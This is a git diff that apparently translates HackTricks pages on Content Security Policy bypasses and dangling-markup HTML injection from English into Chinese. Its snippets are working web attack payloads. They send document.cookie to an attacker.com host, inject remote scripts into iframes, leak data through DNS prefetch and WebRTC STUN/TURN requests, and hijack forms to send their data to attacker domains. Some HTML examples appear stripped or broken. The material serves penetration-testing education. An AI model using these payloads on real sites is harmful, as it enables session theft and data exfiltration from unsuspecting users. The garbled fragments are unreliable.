CSP; the browser blocks any violations. -- `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. +- `Content-Security-Policy`: 强制执行 CSP；浏览器阻止任何违规行为。 +- `Content-Security-Policy-Report-Only`: 用于监控；报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。 ### Defining Resources -CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is: - +CSP 限制加载主动和被动内容的来源，控制诸如内联 JavaScript 执行和使用 `eval()` 等方面。一个示例策略是： ```bash default-src 'none'; img-src 'self'; @@ -57,82 +52,77 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` +### 指令 -### Directives +- **script-src**: 允许特定来源的 JavaScript，包括 URL、内联脚本和由事件处理程序或 XSLT 样式表触发的脚本。 +- **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。 +- **child-src**: 指定允许的 web worker 和嵌入框架内容的资源。 +- **connect-src**: 限制可以使用 fetch、WebSocket、XMLHttpRequest 等接口加载的 URL。 +- **frame-src**: 限制框架的 URL。 +- **frame-ancestors**: 指定可以嵌入当前页面的来源，适用于 ``、` // The bot will load an URL with the payload ``` +### 通过书签小程序 -### Via Bookmarklets +此攻击将涉及一些社会工程学，攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码，当被拖放或点击时，将在当前网页窗口的上下文中执行，**绕过CSP并允许窃取敏感信息**，例如cookies或tokens。 -This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. +有关更多信息，请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +### 通过限制CSP绕过CSP -### CSP bypass by restricting CSP - -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. - -You can **restrict a CSP of an Iframe** with the **`csp`** attribute: +在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中，CSP通过在允许的iframe内注入更严格的CSP来绕过，该CSP不允许加载特定的JS文件，然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。 +您可以使用**`csp`**属性**限制iframe的CSP**： ```html +src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" +csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` - -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\ -CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: - +在 [**这个 CTF 写作**](https://github.com/aszx87410/ctf-writeups/issues/48) 中，通过 **HTML 注入** 可以 **进一步限制** **CSP**，从而禁用防止 CSTI 的脚本，因此 **漏洞变得可利用。**\ +可以使用 **HTML 元标签** 使 CSP 更加严格，并且可以通过 **移除** 允许其 **nonce** 的 **入口** 来禁用内联脚本，并通过 sha **启用特定的内联脚本**： ```html ``` - ### JS exfiltration with Content-Security-Policy-Report-Only -If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入到``中，请注意这个**脚本**将被**加载**，因为它是**被'self'允许的**。此外，由于安装了WordPress，攻击者可能会通过**易受攻击的** **回调**端点滥用**SOME攻击**，该端点**绕过CSP**以给予用户更多权限，安装新插件...\ +有关如何执行此攻击的更多信息，请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses -If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. +如果存在严格的CSP，不允许您**与外部服务器交互**，您始终可以做一些事情来提取信息。 ### Location -You could just update the location to send to the attacker's server the secret information: - +您可以仅更新位置以将秘密信息发送到攻击者的服务器： ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` - ### Meta tag -You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) - +您可以通过注入 meta 标签进行重定向（这只是重定向，不会泄露内容） ```html ``` - ### DNS Prefetch -To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ -You can indicate a browser to pre-resolve a hostname with: `` - -You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: +为了更快地加载页面，浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。\ +您可以通过以下方式指示浏览器预解析主机名：`` +您可以利用这种行为来**通过DNS请求外泄敏感信息**： ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = - body.innerHTML + - '' +body.innerHTML + +'' ``` - -Another way: - +另一种方法： ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` - -In order to avoid this from happening the server can send the HTTP header: - +为了避免这种情况，服务器可以发送 HTTP 头： ``` X-DNS-Prefetch-Control: off ``` - > [!NOTE] -> Apparently, this technique doesn't work in headless browsers (bots) +> 显然，这种技术在无头浏览器（机器人）中不起作用 ### WebRTC -On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. - -Actually you can _leak_ informations using a _DNS request_. Check out this code: +在几个页面上你可以看到 **WebRTC 不检查 CSP 的 `connect-src` 策略**。 +实际上，你可以通过 _DNS 请求_ _泄露_ 信息。查看这段代码： ```javascript ;(async () => { - p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) - p.createDataChannel("") - p.setLocalDescription(await p.createOffer()) +p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) +p.createDataChannel("") +p.setLocalDescription(await p.createOffer()) })() ``` - -Another option: - +另一个选项： ```javascript var pc = new RTCPeerConnection({ - "iceServers":[ - {"urls":[ - "turn:74.125.140.127:19305?transport=udp" - ],"username":"_all_your_data_belongs_to_us", - "credential":"." - }] +"iceServers":[ +{"urls":[ +"turn:74.125.140.127:19305?transport=udp" +],"username":"_all_your_data_belongs_to_us", +"credential":"." +}] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` - -## Checking CSP Policies Online +## 在线检查 CSP 策略 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Automatically creating CSP +## 自动创建 CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## References +## 参考文献 - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) @@ -847,18 +753,17 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器，与经验丰富的黑客和漏洞赏金猎人交流！ -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**黑客见解**\ +参与深入探讨黑客的刺激与挑战的内容 -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**实时黑客新闻**\ +通过实时新闻和见解，跟上快速变化的黑客世界 -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**最新公告**\ +了解最新的漏洞赏金计划和重要平台更新 -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)，今天就开始与顶级黑客合作吧！ {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index d7676b27a..bae295858 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -1,19 +1,14 @@ -{{#include ../../banners/hacktricks-training.md}} - A configuration such as: - ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` +禁止使用任何作为字符串传输的代码执行函数。例如：`eval, setTimeout, setInterval` 将因设置 `unsafe-eval` 而被阻止。 -Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval` +来自外部来源的任何内容也会被阻止，包括图像、CSS、WebSockets，尤其是 JS。 -Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS - -### Via Text & Images - -It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them: +### 通过文本和图像 +观察到现代浏览器将图像和文本转换为 HTML 以增强其显示效果（例如，设置背景、居中等）。因此，如果通过 `iframe` 打开图像或文本文件，例如 `favicon.ico` 或 `robots.txt`，它将作为 HTML 渲染。值得注意的是，这些页面通常缺少 CSP 头，并且可能不包含 X-Frame-Options，从而允许从中执行任意 JavaScript： ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" @@ -22,11 +17,9 @@ script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` +### 通过错误 -### Via Errors - -Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions: - +类似地，错误响应，如文本文件或图像，通常没有CSP头，并且可能省略X-Frame-Options。可以诱导错误在iframe中加载，从而允许以下操作： ```javascript // Inducing an nginx error frame = document.createElement("iframe") @@ -40,28 +33,24 @@ document.body.appendChild(frame) // Generating an error via extensive cookies for (var i = 0; i < 5; i++) { - document.cookie = i + "=" + "a".repeat(4000) +document.cookie = i + "=" + "a".repeat(4000) } frame = document.createElement("iframe") frame.src = "/" document.body.appendChild(frame) // Removal of cookies is crucial post-execution for (var i = 0; i < 5; i++) { - document.cookie = i + "=" +document.cookie = i + "=" } ``` - -After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows: - +在触发上述任何场景后，可以通过以下方式在iframe中实现JavaScript执行： ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` - -## References +## 参考 - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 14a4525bc..4de2163ea 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,139 +4,114 @@ ## Resume -This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\ -It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution. +此技术可用于在发现**HTML注入**时从用户提取信息。如果你**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法，但可以**注入一些HTML标签**，这非常有用。\ +如果某些**秘密以明文形式保存在HTML中**，并且你想从客户端**提取**它，或者如果你想误导某些脚本执行，这也很有用。 -Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...). +这里评论的几种技术可以通过以意想不到的方式（html标签、CSS、http-meta标签、表单、base等）提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。 ## Main Applications ### Stealing clear text secrets -If you inject `test ``` - -### Stealing forms - +### 偷取表单 ```html ``` - -Then, the forms that send data to path (like `
`) will send the data to the malicious domain. +然后，发送数据到路径的表单（如 ``）将把数据发送到恶意域名。 ### Stealing forms 2 -Set a form header: `` this will overwrite the next form header and all the data from the form will be sent to the attacker. +设置表单头：`` 这将覆盖下一个表单头，所有来自表单的数据将被发送给攻击者。 ### Stealing forms 3 -The button can change the URL where the information of the form is going to be sent with the attribute "formaction": - +按钮可以通过属性 "formaction" 更改信息将要发送的表单的 URL： ```html ``` +攻击者可以利用这一点窃取信息。 -An attacker can use this to steal the information. +在这个[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。 -Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). - -### Stealing clear text secrets 2 - -Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field: +### 窃取明文秘密 2 +使用最新提到的技术窃取表单（注入新的表单头），然后可以注入一个新的输入字段： ```html ` tag. All the data until a closed `` is found will be sent: - +您可以通过注入一个表单和一个``都会被发送： ```html Click Me ← Injected lines + ← Injected lines - - ← Existing form (ignored by the parser) ... - ← Subverted field ... - - ... -
+
+← Existing form (ignored by the parser) ... + ← Subverted field ... + +... +
``` +### 通过 noscript 偷取明文秘密 -### Stealing clear text secrets via noscript - -`` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)). - -A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this: +`` 是一个标签，其内容将在浏览器不支持 JavaScript 时被解释（您可以在 [chrome://settings/content/javascript](chrome://settings/content/javascript) 中启用/禁用 JavaScript）。 +一种将从注入点到页面底部的网页内容导出到攻击者控制的网站的方法是注入以下内容： ```html